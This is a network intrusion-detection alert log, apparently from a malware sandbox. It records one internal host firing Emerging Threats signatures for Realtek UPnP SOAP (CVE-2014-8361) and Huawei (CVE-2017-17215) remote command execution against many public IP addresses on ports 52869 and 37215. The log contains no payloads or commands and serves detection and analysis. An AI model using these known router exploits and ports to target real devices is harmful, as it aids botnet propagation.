ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 109.17.111.246

Timestamp:	07/20/24-23:01:31.313163
SID:	2831300
Source Port:	48230
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 70.135.187.127

Timestamp:	07/20/24-23:02:04.942554
SID:	2831300
Source Port:	38780
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 85.109.146.148

Timestamp:	07/20/24-23:01:42.612377
SID:	2027339
Source Port:	38532
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 53.13.47.10

Timestamp:	07/20/24-23:01:42.688831
SID:	2831300
Source Port:	58266
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 178.246.190.193

Timestamp:	07/20/24-23:02:04.577562
SID:	2027339
Source Port:	52992
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.37.15.231

Timestamp:	07/20/24-23:01:00.634497
SID:	2829579
Source Port:	41366
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 140.34.53.233

Timestamp:	07/20/24-23:01:20.593640
SID:	2027339
Source Port:	58574
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 164.23.204.131

Timestamp:	07/20/24-23:01:51.956762
SID:	2027339
Source Port:	42524
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 14.200.138.62

Timestamp:	07/20/24-23:01:26.004683
SID:	2025132
Source Port:	38520
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 167.144.253.27

Timestamp:	07/20/24-23:01:44.550538
SID:	2027339
Source Port:	49074
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.171.209.210

Timestamp:	07/20/24-23:01:07.018425
SID:	2835222
Source Port:	35004
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 106.229.130.40

Timestamp:	07/20/24-23:01:10.863362
SID:	2025132
Source Port:	36226
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 49.127.162.127

Timestamp:	07/20/24-23:01:57.549758
SID:	2027339
Source Port:	50824
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 176.129.124.225

Timestamp:	07/20/24-23:02:22.606515
SID:	2027339
Source Port:	48348
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 205.29.56.156

Timestamp:	07/20/24-23:01:02.773260
SID:	2025132
Source Port:	38564
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 103.227.74.238

Timestamp:	07/20/24-23:01:26.226478
SID:	2025132
Source Port:	51024
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 57.119.169.7

Timestamp:	07/20/24-23:01:45.182071
SID:	2027339
Source Port:	35410
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.146.248.19

Timestamp:	07/20/24-23:01:27.664887
SID:	2835222
Source Port:	48150
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 216.216.135.51

Timestamp:	07/20/24-23:01:52.720788
SID:	2025132
Source Port:	50706
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 188.131.252.163

Timestamp:	07/20/24-23:01:59.855159
SID:	2025132
Source Port:	34610
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 103.96.50.123

Timestamp:	07/20/24-23:01:31.321189
SID:	2831300
Source Port:	58236
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 111.66.162.186

Timestamp:	07/20/24-23:01:41.260372
SID:	2027339
Source Port:	49634
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 113.71.166.108

Timestamp:	07/20/24-23:01:42.704266
SID:	2025132
Source Port:	49340
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.160.38.108

Timestamp:	07/20/24-23:01:46.604394
SID:	2027339
Source Port:	56780
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 184.77.18.239

Timestamp:	07/20/24-23:01:08.668802
SID:	2831300
Source Port:	52958
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 111.229.109.170

Timestamp:	07/20/24-23:01:44.389834
SID:	2027339
Source Port:	56604
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 162.229.91.161

Timestamp:	07/20/24-23:01:24.475794
SID:	2027339
Source Port:	48188
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.75.190.222

Timestamp:	07/20/24-23:00:59.157444
SID:	2829579
Source Port:	47996
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 169.122.121.121

Timestamp:	07/20/24-23:01:45.923449
SID:	2027339
Source Port:	38996
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 144.39.142.95

Timestamp:	07/20/24-23:02:01.320867
SID:	2027339
Source Port:	60014
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 149.74.6.111

Timestamp:	07/20/24-23:02:09.263272
SID:	2831300
Source Port:	39888
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 173.57.134.38

Timestamp:	07/20/24-23:01:08.572197
SID:	2027339
Source Port:	55296
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 77.77.166.196

Timestamp:	07/20/24-23:01:41.496780
SID:	2027339
Source Port:	53180
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 114.190.123.93

Timestamp:	07/20/24-23:01:02.721182
SID:	2027339
Source Port:	60912
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 186.231.211.62

Timestamp:	07/20/24-23:01:45.037292
SID:	2025132
Source Port:	56686
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 69.202.155.168

Timestamp:	07/20/24-23:01:47.304504
SID:	2027339
Source Port:	43656
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.167.36.239

Timestamp:	07/20/24-23:01:04.039128
SID:	2829579
Source Port:	41724
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 19.104.128.245

Timestamp:	07/20/24-23:01:20.157619
SID:	2835222
Source Port:	50048
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 221.200.167.164

Timestamp:	07/20/24-23:00:57.220954
SID:	2829579
Source Port:	34064
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 130.253.20.234

Timestamp:	07/20/24-23:01:50.759828
SID:	2027339
Source Port:	35976
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 130.167.196.86

Timestamp:	07/20/24-23:01:44.446628
SID:	2027339
Source Port:	48604
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 212.202.137.63

Timestamp:	07/20/24-23:01:26.110241
SID:	2025132
Source Port:	35770
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.102.42.235

Timestamp:	07/20/24-23:01:34.045144
SID:	2835222
Source Port:	48300
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 201.77.215.250

Timestamp:	07/20/24-23:02:10.141900
SID:	2027339
Source Port:	38882
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.6.34.101

Timestamp:	07/20/24-23:00:59.191389
SID:	2829579
Source Port:	57408
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 178.214.207.137

Timestamp:	07/20/24-23:01:31.312895
SID:	2027339
Source Port:	42770
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 179.230.186.151

Timestamp:	07/20/24-23:01:49.525770
SID:	2025132
Source Port:	36520
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 24.0.173.57

Timestamp:	07/20/24-23:01:44.338159
SID:	2831300
Source Port:	42886
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.22.178.158

Timestamp:	07/20/24-23:01:04.100971
SID:	2829579
Source Port:	49124
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.30.105.107

Timestamp:	07/20/24-23:00:59.158279
SID:	2835222
Source Port:	37060
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 223.217.31.58

Timestamp:	07/20/24-23:01:46.293475
SID:	2831300
Source Port:	45978
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.231.52.21

Timestamp:	07/20/24-23:01:06.996055
SID:	2835222
Source Port:	41248
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 90.150.161.105

Timestamp:	07/20/24-23:01:48.547161
SID:	2027339
Source Port:	36362
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 60.63.234.192

Timestamp:	07/20/24-23:01:08.565610
SID:	2027339
Source Port:	50034
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 163.215.30.136

Timestamp:	07/20/24-23:01:42.093693
SID:	2027339
Source Port:	38192
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.84.128.158

Timestamp:	07/20/24-23:01:14.203011
SID:	2829579
Source Port:	52244
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.164.236.148

Timestamp:	07/20/24-23:01:24.885849
SID:	2835222
Source Port:	37496
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 117.131.224.39

Timestamp:	07/20/24-23:01:49.412594
SID:	2027339
Source Port:	47728
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 209.233.186.203

Timestamp:	07/20/24-23:02:05.374045
SID:	2025132
Source Port:	54602
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 75.68.195.20

Timestamp:	07/20/24-23:01:13.192248
SID:	2027339
Source Port:	60782
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 120.23.234.48

Timestamp:	07/20/24-23:01:51.197215
SID:	2025132
Source Port:	52494
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.40.222.217

Timestamp:	07/20/24-23:01:14.049603
SID:	2835222
Source Port:	45854
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 188.112.254.56

Timestamp:	07/20/24-23:01:08.578116
SID:	2831300
Source Port:	33938
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 34.198.8.37

Timestamp:	07/20/24-23:01:44.921789
SID:	2831300
Source Port:	53216
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 70.59.242.166

Timestamp:	07/20/24-23:01:01.516827
SID:	2025132
Source Port:	57370
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.178.90.216

Timestamp:	07/20/24-23:01:02.048214
SID:	2829579
Source Port:	54670
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 1.7.30.66

Timestamp:	07/20/24-23:01:56.809584
SID:	2831300
Source Port:	48800
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.99.7.194

Timestamp:	07/20/24-23:01:00.634089
SID:	2829579
Source Port:	38714
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 105.131.75.237

Timestamp:	07/20/24-23:01:25.522869
SID:	2027339
Source Port:	39106
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.139.101.249

Timestamp:	07/20/24-23:01:11.828422
SID:	2829579
Source Port:	38350
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 207.162.61.245

Timestamp:	07/20/24-23:01:42.357440
SID:	2027339
Source Port:	53138
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 23.210.80.134

Timestamp:	07/20/24-23:01:43.020186
SID:	2025132
Source Port:	58968
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 172.42.36.143

Timestamp:	07/20/24-23:01:46.159165
SID:	2027339
Source Port:	43160
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.197.73.14

Timestamp:	07/20/24-23:01:00.639093
SID:	2829579
Source Port:	53158
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.27.25.91

Timestamp:	07/20/24-23:01:02.060344
SID:	2835222
Source Port:	50014
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 42.202.134.116

Timestamp:	07/20/24-23:01:42.619336
SID:	2025132
Source Port:	34018
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 96.112.20.112

Timestamp:	07/20/24-23:01:55.536863
SID:	2831300
Source Port:	49478
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 8.220.8.58

Timestamp:	07/20/24-23:01:52.242138
SID:	2027339
Source Port:	47118
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 144.152.137.9

Timestamp:	07/20/24-23:01:12.861753
SID:	2027339
Source Port:	43498
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 39.181.226.152

Timestamp:	07/20/24-23:01:24.618795
SID:	2027339
Source Port:	38894
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 162.239.164.172

Timestamp:	07/20/24-23:01:45.261796
SID:	2025132
Source Port:	47412
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 147.72.210.150

Timestamp:	07/20/24-23:01:42.908066
SID:	2025132
Source Port:	46248
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 75.3.82.5

Timestamp:	07/20/24-23:01:52.171350
SID:	2027339
Source Port:	44834
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 58.172.86.110

Timestamp:	07/20/24-23:01:44.020551
SID:	2025132
Source Port:	45532
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 58.25.190.68

Timestamp:	07/20/24-23:01:44.514415
SID:	2027339
Source Port:	40638
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 119.211.191.173

Timestamp:	07/20/24-23:01:44.814790
SID:	2025132
Source Port:	55022
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 192.50.131.250

Timestamp:	07/20/24-23:01:47.798104
SID:	2025132
Source Port:	44152
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 62.211.74.184

Timestamp:	07/20/24-23:01:55.105161
SID:	2025132
Source Port:	40332
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 58.172.86.110

Timestamp:	07/20/24-23:02:09.106165
SID:	2027339
Source Port:	45766
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.93.123.78

Timestamp:	07/20/24-23:00:57.222090
SID:	2829579
Source Port:	41354
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 91.33.144.77

Timestamp:	07/20/24-23:01:02.109665
SID:	2027339
Source Port:	40882
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 8.226.239.105

Timestamp:	07/20/24-23:01:42.519318
SID:	2831300
Source Port:	51790
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.233.197.166

Timestamp:	07/20/24-23:01:20.131339
SID:	2829579
Source Port:	50504
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 97.235.141.174

Timestamp:	07/20/24-23:01:46.877606
SID:	2025132
Source Port:	34746
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 161.37.173.233

Timestamp:	07/20/24-23:01:20.144672
SID:	2835222
Source Port:	39608
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.202.148.115

Timestamp:	07/20/24-23:01:21.952783
SID:	2829579
Source Port:	36672
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.4.72.224

Timestamp:	07/20/24-23:01:34.053062
SID:	2829579
Source Port:	53248
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 208.128.19.202

Timestamp:	07/20/24-23:01:47.990801
SID:	2027339
Source Port:	43992
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 144.196.193.162

Timestamp:	07/20/24-23:01:44.611556
SID:	2025132
Source Port:	53552
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

